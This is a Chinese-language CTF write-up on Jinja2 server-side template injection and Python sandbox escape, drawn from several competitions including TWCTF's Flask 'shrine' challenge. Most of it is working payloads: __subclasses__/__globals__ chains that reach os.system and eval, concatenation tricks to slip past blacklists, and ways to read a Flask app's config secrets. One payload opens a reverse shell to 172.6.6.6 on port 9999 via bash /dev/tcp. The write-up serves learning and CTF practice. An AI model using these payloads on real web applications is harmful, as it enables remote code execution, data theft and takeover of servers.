从SSTI到沙箱逃逸-jinja2

Intro

国赛遇到了沙箱逃逸和简单的SSTI,算是python sec的起步吧,最开始在看bendawangbit2woo的python sec,开始了解了一点点基础,在QCTF又遇到了SSTI,以及网鼎杯和TWCTF。记录一下查到的内容,主要是Web App的判断以及sandbox filter bypass。
关于SSTI,这里给两篇文章:
http://www.freebuf.com/articles/web/136118.html
http://www.freebuf.com/articles/web/136180.html
http://www.freebuf.com/vuls/83999.html

Example

error
FswLiPndfrbe_ZB0XxB085L1VixF
(没错,这是python web)

测试几个payload后,发现魔术方法 _class_ _mro_ _base_ 只有base可用

python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')

开始查相关资料,看如何绕过(其他姿势)

Bypass

模版引擎

在blackhat的介绍中找到了如何分辨模版引擎:
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
翻译版:
https://zhuanlan.zhihu.com/p/28823933
引其中一张图片:
Fu668Kj3zKQQHmgy1RpsHE9Uvn9w
jinja2返回的是7777777,通过测试可以确定为jinja2,那么接下来就是确定jinja2的其他payload如何绕过filter了

bypass

jinja2-template-injection-filter-bypasses中找到了相关说明,即使用request['__class__']表示,可以绕过。同时还测试了self。
文中还给出了__、[、]、|join、args的绕过方法,不再搬运了..

针对example的payload:
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("").re'+'ad()')}}
(其实例题中args用起来最简单)

request.args.param&para=xxx GET
request.value.param POST

Bypass other

TWCTF config

需要获取的内容在config中,不能使用(、)、self、config

import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

利用__dict__和__globals__获取属性和定义域信息。

上下文变量/函数

url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config

获取config方式

__globals__['current_app'].config['FLAG']
top.app.config['FLAG']
url_for.__globals__['current_app'].config['FLAG']
get_flashed_messages.__globals__['current_app'].config['FLAG']

获取sys
{{app.__init__.__globals__.sys.modules.app.app.__dict__}}

其他思路,通过request回溯法搜索

Control Flow

只能使用控制结构时,即{%%},参考 https://www.xmsec.cc/wdb-review/#mmmmy-WDB-3rd
使用布尔盲注。

doc

设计者文档中提到了内置过滤器使用方法,可参考其中的使用方法绕过黑名单
模板设计者文档 — Jinja2
https://docs.python.org/2/genindex-_.html
https://docs.python.org/2/library/stdtypes.html#object.__dict__

Ref

  1. http://www.bendawang.site/2018/03/01/关于Python-sec的一些总结/
  2. https://0day.work/jinja2-template-injection-filter-bypasses/
  3. https://portswigger.net/blog/server-side-template-injection
  4. https://ctftime.org/task/6505
作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub